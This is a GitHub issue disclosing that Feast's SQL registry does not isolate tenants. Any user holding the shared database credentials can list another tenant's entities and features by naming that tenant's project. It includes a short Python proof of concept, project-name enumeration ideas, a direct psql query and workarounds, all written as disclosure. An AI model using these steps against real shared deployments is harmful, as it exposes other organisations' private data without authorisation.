Skip to content

Multi-Tenancy Data Isolation Vulnerability #5940

@dhqanh-rcc

Description

@dhqanh-rcc

Summary

Multi-Tenancy Data Isolation Vulnerability - Users can access other tenants' data by knowing project name

Expected Behavior

In a multi-tenant Feast deployment:

  • Tenant A users should ONLY be able to access Tenant A's data
  • Tenant B users should ONLY be able to access Tenant B's data
  • Access should be enforced through authentication and authorization
  • Database credentials should not be sufficient to access another tenant's data

Current Behavior

Any user with database credentials can access ANY tenant's data by simply creating a FeatureStore instance with another tenant's project name. No authentication or authorization check is performed.

Example:

# User of Tenant A can access Tenant B's data
config_attack = RepoConfig(
    project="company_b",  # Victim's project name
    registry=SqlRegistryConfig(
        path="postgresql://feast:password@db:5432/feast_registry"
    )
)
store = FeatureStore(config=config_attack)
entities = store.list_entities()  # Returns Tenant B's entities ❌

Result: Complete data exposure across tenants.

Steps to Reproduce

Setup

  1. Deploy Feast with SQL Registry (PostgreSQL)
  2. Create two tenants with separate projects:
# Tenant A setup
store_a = FeatureStore(config=RepoConfig(
    project="company_a",
    registry=SqlRegistryConfig(
        path="postgresql://feast:password@localhost:5432/feast_registry"
    )
))
driver_entity_a = Entity(name="driver", join_keys=["driver_id"])
store_a.apply([driver_entity_a])
# Tenant B setup
store_b = FeatureStore(config=RepoConfig(
    project="company_b",
    registry=SqlRegistryConfig(
        path="postgresql://feast:password@localhost:5432/feast_registry"
    )
))
customer_entity_b = Entity(name="customer", join_keys=["customer_id"])
store_b.apply([customer_entity_b])

Attack

  1. User from Tenant A creates store with Tenant B's project name:
# Attacker (Tenant A user) steals Tenant B's project name
store_attack = FeatureStore(config=RepoConfig(
    project="company_b",  # Using victim's project!
    registry=SqlRegistryConfig(
        path="postgresql://feast:password@localhost:5432/feast_registry"
    )
))

# Verify breach
entities = store_attack.list_entities()
print(f"Stolen entities: {[e.name for e in entities]}")
# Output: ['customer'] ← Tenant B's private entity exposed!
  1. Additional attacks possible:
    • List all feature views: store_attack.list_feature_views()
    • Retrieve features: store_attack.get_online_features(...)
    • Enumerate projects: Try common names like "prod", "default", "company_a", etc.
    • Direct database access: psql -c "SELECT * FROM projects;"

Specifications

  • Feast Version: 0.59.0 (likely affects all versions)
  • Platform: Kubernetes (kind v1.33.0), macOS, Linux
  • Subsystem: SQL Registry (feast.infra.registry.sql)
  • Deployment:
    • Feast Operator with shared PostgreSQL database
    • Direct Feast SDK usage with shared database
  • Database: PostgreSQL 16, SQLite (also affected)

Configuration

# Vulnerable configuration
registry:
  registry_type: sql
  path: postgresql://feast:password@shared-db:5432/feast_registry
  # ❌ No authentication
  # ❌ Same credentials for all tenants
  # ❌ Only project_id for isolation

Workaround

Until fixed, DO NOT use shared database for untrusted tenants.

Safe configurations:

  • ✅ Separate databases per tenant
  • ✅ Feature Server with authentication (users never access DB directly)
  • ✅ Single-tenant deployments

Unsafe configurations:

  • ❌ Shared database with direct SDK access
  • ❌ Database credentials accessible to end users
  • ❌ No authentication layer

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions